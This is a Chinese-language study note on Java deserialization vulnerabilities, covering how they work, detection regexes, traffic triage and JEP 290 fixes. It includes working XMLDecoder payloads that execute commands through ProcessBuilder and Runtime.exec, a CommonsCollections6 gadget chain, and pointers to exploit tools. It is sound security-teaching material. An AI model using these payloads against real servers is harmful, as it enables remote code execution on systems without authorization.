本文仅用于安全学习、靶场复现与授权测试场景,重点关注漏洞原理、检测思路和修复建议。
Java 反序列化漏洞学习笔记
两类 Java 反序列化攻击:XML 形式(XMLDecoder)与二进制形式(ObjectInputStream)。原理、Payload、检测特征、修复方案。
一、XML 形式 — XMLDecoder 反序列化
1.1 原理
java.beans.XMLDecoder 是 JDK 自带的 XML→Java 对象反序列化工具。
1 2 3
| XMLDecoder decoder = new XMLDecoder(request.getInputStream()); Object obj = decoder.readObject();
|
解析 XML 时:
<object class="xxx"> → 调用类的无参构造,实例化对象
<void method="xxx"> → 调用该对象的方法
攻击者构造恶意 XML,使服务端实例化 ProcessBuilder 并调用 start(),实现 RCE。
攻击链:
1 2 3 4
| POST XML → XMLDecoder.readObject() → <object class="java.lang.ProcessBuilder"> → 实例化 ProcessBuilder → <void method="start"> → ProcessBuilder.start() → 执行系统命令
|
1.2 基础 Payload
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <java class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>calc.exe</string></void> </array> <void method="start"/> </object> </java>
|
1.3 Payload 变体
Runtime.exec 方式:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <java class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>whoami</string></void> </array> </void> </object> </java>
|
反弹 Shell(PowerShell 版)
公开版本省略具体反连载荷,仅记录该类 payload 会体现出的行为特征,例如可疑 PowerShell、外连连接、长命令参数等,便于后续流量研判和防护加固。
1.4 检测特征
| 特征 |
命中条件 |
| Content-Type |
application/xml、text/xml |
| Body 标签 |
含 <java class="java.beans.XMLDecoder"> |
| 危险类 |
<object class="java.lang.ProcessBuilder"> 或 java.lang.Runtime |
| 危险方法 |
<void method="start"> 或 exec |
| 命令参数 |
<string>cmd.exe</string>、/bin/bash 等 |
正则检测规则:
1 2 3 4 5 6 7 8
| # 核心特征 <java\b.*class\s*=\s*["']java\.beans\.XMLDecoder["']
# 危险类 <object\s+class\s*=\s*["']java\.lang\.(ProcessBuilder|Runtime)["']
# 危险方法 <void\s+method\s*=\s*["'](start|exec)["']
|
一句话判断:
Body 中同时出现 <java + XMLDecoder + start 或 exec,就是 XMLDecoder 反序列化攻击。
2.1 原理
Java 原生序列化机制通过 ObjectInputStream.readObject() 将字节流还原为对象。问题在于还原过程中会自动调用被还原对象的 readObject()、readResolve() 等方法,攻击者可构造恶意对象链(gadget chain)实现 RCE。
1 2 3
| ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject();
|
2.2 序列化数据格式
Java 序列化的二进制数据有固定的魔术头和协议结构:
1 2 3 4 5 6
| 偏移 内容 说明 0x00 AC ED 魔术字节(STREAM_MAGIC) 0x02 00 05 版本号(STREAM_VERSION) 0x04 0x73 对象类型标识(TC_OBJECT) 0x05 0x72 类描述符标识(TC_CLASSDESC) ... 类名字节
|
2.3 Payload 特征
| 形式 |
特征值 |
说明 |
| 原始二进制 |
ac ed 00 05 |
Java 序列化魔术头 |
| Base64 编码 |
rO0AB |
魔术头的 Base64 编码(最常见) |
| Hex |
aced0005 |
魔法头十六进制表示 |
示例:原始二进制 payload 的 hex dump
1 2
| 00000000 ac ed 00 05 73 72 00 17 6a 61 76 61 2e 75 74 69 |....sr..java.uti| 00000010 6c 2e 50 72 69 6f 72 69 74 79 51 75 65 75 65 00 |l.PriorityQueue.|
|
示例:HTTP 请求中 Base64 编码的 payload
1 2 3 4 5 6
| POST /api/data HTTP/1.1 Host: target.com Content-Type: application/octet-stream Content-Length: 3456
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQAAAAAAAAABAwAC...
|
2.4 常见 Gadget Chain(ysoserial)
| 链名 |
核心类 |
适用版本 |
特点 |
| CommonsCollections1 |
InvokerTransformer |
JDK < 8u71 |
最经典,利用 ConstantTransformer + ChainedTransformer + 反射 |
| CommonsCollections2 |
PriorityQueue |
Commons Collections 4.x |
利用 TemplatesImpl 动态加载字节码,绕过 CC1 限制 |
| CommonsCollections3 |
InstantiateTransformer |
JDK < 8u71 |
CC1 的变体,用 TrAXFilter 触发 TemplatesImpl |
| CommonsCollections4 |
PriorityQueue |
Commons Collections 4.x |
CC2 + CC3 混合,同时兼容 4.x |
| CommonsCollections5 |
BadAttributeValueExpException |
JDK < 8u232 |
用 BadAttributeValueExpException.toString() 触发 |
| CommonsCollections6 |
HashMap / HashSet |
全版本兼容 |
不依赖 JDK 内部 AnnotationInvocationHandler,通杀 |
| CommonsCollections7 |
Hashtable |
全版本兼容 |
利用哈希碰撞触发 equals() 方法 |
| CommonsBeanutils1 |
BeanComparator |
依赖 commons-beanutils |
利用 PropertyUtils.getProperty() 触发 TemplatesImpl |
| Jdk7u21 |
LinkedHashSet |
JDK 7u21 及之前 |
JDK 原生链,无第三方依赖 |
| Jdk8u20 |
LinkedHashSet |
JDK 8u20 及之前 |
JDK8u21 修复后,利用 AnnotationInvocationHandler 绕过 |
| JdbcRowSetImpl |
JdbcRowSetImpl |
有 JNDI 可达环境 |
JNDI 注入链,需配合 LDAP/RMI 服务 |
| URLDNS |
HashMap + URL |
全版本通杀 |
无危害但必通,常用于验证漏洞存在 |
CommonsCollections6 典型调用链:
1 2 3 4 5 6 7 8 9 10
| HashMap.readObject() // 反序列化入口 → HashMap.put() // 哈希表插入流程 → TiedMapEntry.hashCode() // CC6 关键入口 → TiedMapEntry.getValue() → LazyMap.get() // 懒加载 Map → ChainedTransformer.transform() // Transformer 链 → ConstantTransformer.transform() // 返回 Runtime.class → InvokerTransformer.transform() // 反射调用 getRuntime() → InvokerTransformer.transform() // 反射调用 exec() → Runtime.exec("calc.exe") // ← RCE!
|
2.5 检测特征
流量层:
| 检测维度 |
特征 |
| 魔术头(Base64) |
请求 Body 或参数以 rO0AB 开头 |
| 魔术头(二进制) |
请求 Body 开头为 \xac\xed\x00\x05 |
| HTTP Content-Type |
application/octet-stream、application/binary、application/x-java-serialized-object |
| 常见参数名 |
data、object、payload、ser、input |
Payload 层(解码后搜索的关键类名):
1 2 3 4 5
| CommonsCollections, PriorityQueue, BadAttributeValueExpException HashMap, Hashtable, LazyMap, TiedMapEntry InvokerTransformer, ChainedTransformer, ConstantTransformer TemplatesImpl, JdbcRowSetImpl, AnnotationInvocationHandler Runtime, ProcessBuilder
|
正则检测规则:
1 2 3 4 5 6 7 8
| # Base64 魔术头(最简单最有效) ^rO0AB
# 解码后类名特征 CommonsCollections|InvokerTransformer|ChainedTransformer|TemplatesImpl|JdbcRowSetImpl
# 恶意方法调用 Runtime\.(getRuntime|exec)|ProcessBuilder
|
2.6 攻击流量三步判断法
1 2 3 4 5 6 7 8 9
| 第一步:看魔术头 Body/参数值 以 "rO0AB" 开头 → 直接判定为 Java 序列化数据
第二步:看 HTTP 特征 Content-Type: octet-stream / binary / x-java-serialized-object → 命中
第三步:解码 Base64 看类名(确认攻击意图) 含 CommonsCollections / JdbcRowSetImpl / TemplatesImpl / InvokerTransformer → 攻击确认,不是正常业务序列化
|
2.7 正常业务序列化 vs 攻击 payload
| 维度 |
正常业务 |
攻击 Payload |
| 魔术头 |
rO0AB(相同) |
rO0AB(相同) |
| 类名 |
com.company.User |
org.apache...InvokerTransformer |
| URL 路径 |
登录/注册接口 |
异常接口/未授权接口 |
| 参数名 |
userData、profile |
data、payload |
| 反常 |
无 |
序列化数据置于 GET 参数或 Cookie |
注意: 魔术头只证明是 Java 序列化数据,不能仅凭 rO0AB 就断定为攻击。需结合类名和上下文判断。
三、两类反序列化对比
|
XMLDecoder(XML 形式) |
ObjectInputStream(二进制形式) |
| 入口类 |
java.beans.XMLDecoder |
java.io.ObjectInputStream |
| 输入格式 |
XML 文本 |
二进制字节流 |
| 传输形式 |
明码 XML 标签 |
Base64 或原始二进制 |
| 魔术标记 |
<java class="java.beans.XMLDecoder"> |
ac ed 00 05 / rO0AB |
| Content-Type |
application/xml |
application/octet-stream |
| 核心执行类 |
ProcessBuilder / Runtime |
Runtime + Gadget Chain |
| 工具链 |
手写 XML |
ysoserial / marshalsec |
| 依赖 |
JDK 自带(零依赖) |
通常需第三方库(Commons Collections 等) |
| JDK 版本影响 |
全版本通杀 |
高版本 JDK 部分链失效 |
| JEP 290 是否管控 |
不管 |
管(但可绕过) |
四、修复方案
4.1 XMLDecoder
| 方案 |
说明 |
| 禁用 XMLDecoder |
最直接,业务极少需要 |
| 白名单类过滤 |
包装 XMLDecoder,只允许安全类的 <object> |
| 替换为安全方案 |
Jackson / Gson + 严格类型绑定 |
| 方案 |
说明 |
| JEP 290 序列化过滤器 |
JDK 9+ 内置,JDK 8u121+ 向后移植 |
| 全局过滤器 |
-Djdk.serialFilter=maxbytes=4096;java.lang.*;java.util.*;!* |
| 代码级过滤器 |
ObjectInputFilter.Config.setObjectInputFilter() |
| 禁用反序列化 |
不用 ObjectInputStream,改用 JSON / Protobuf |
| 升级依赖 |
更新 Commons Collections 等第三方库到安全版本 |
JEP 290 过滤器示例:
1 2 3 4 5 6 7 8
| -Djdk.serialFilter=maxbytes=1024;java.lang.String;java.util.HashMap;!*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "java.lang.*;java.util.*;!org.apache.commons.collections.*" ); ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
|
五、真实案例
| 漏洞 |
类型 |
影响 |
| WebLogic CVE-2017-3506 / 10271 |
XMLDecoder |
10.x 全版本 RCE,无需认证 |
| WebLogic CVE-2023-21839 |
二进制 + JNDI |
远程绑定对象注入,绕过认证 |
| Shiro RememberMe CVE-2016-4437 |
二进制 |
AES-CBC 密钥硬编码,Cookie 反序列化 |
| Fastjson 1.2.24 - 1.2.80 |
JSON(但链类似) |
AutoType 绕过 → JNDI 注入 → RCE |
| JBoss CVE-2017-12149 |
二进制 |
/invoker/readonly 未授权访问 |
| Jenkins CVE-2016-0792 |
二进制 |
XStream 反序列化 → RCE |
| Spring Cloud Gateway |
二进制 |
Actuator 未授权 + 反序列化 |
六、参考工具
| 工具 |
用途 |
地址 |
| ysoserial |
二进制反序列化 payload 生成 |
github.com/frohoff/ysoserial |
| marshalsec |
JNDI注入 + 多种反序列化链 |
github.com/mbechler/marshalsec |
| JNDI-Injection-Exploit |
JNDI 注入利用 |
github.com/welk1n/JNDI-Injection-Exploit |
| SerializationDumper |
分析序列化字节流 |
github.com/NickstaDB/SerializationDumper |
整理日期:2026-07-21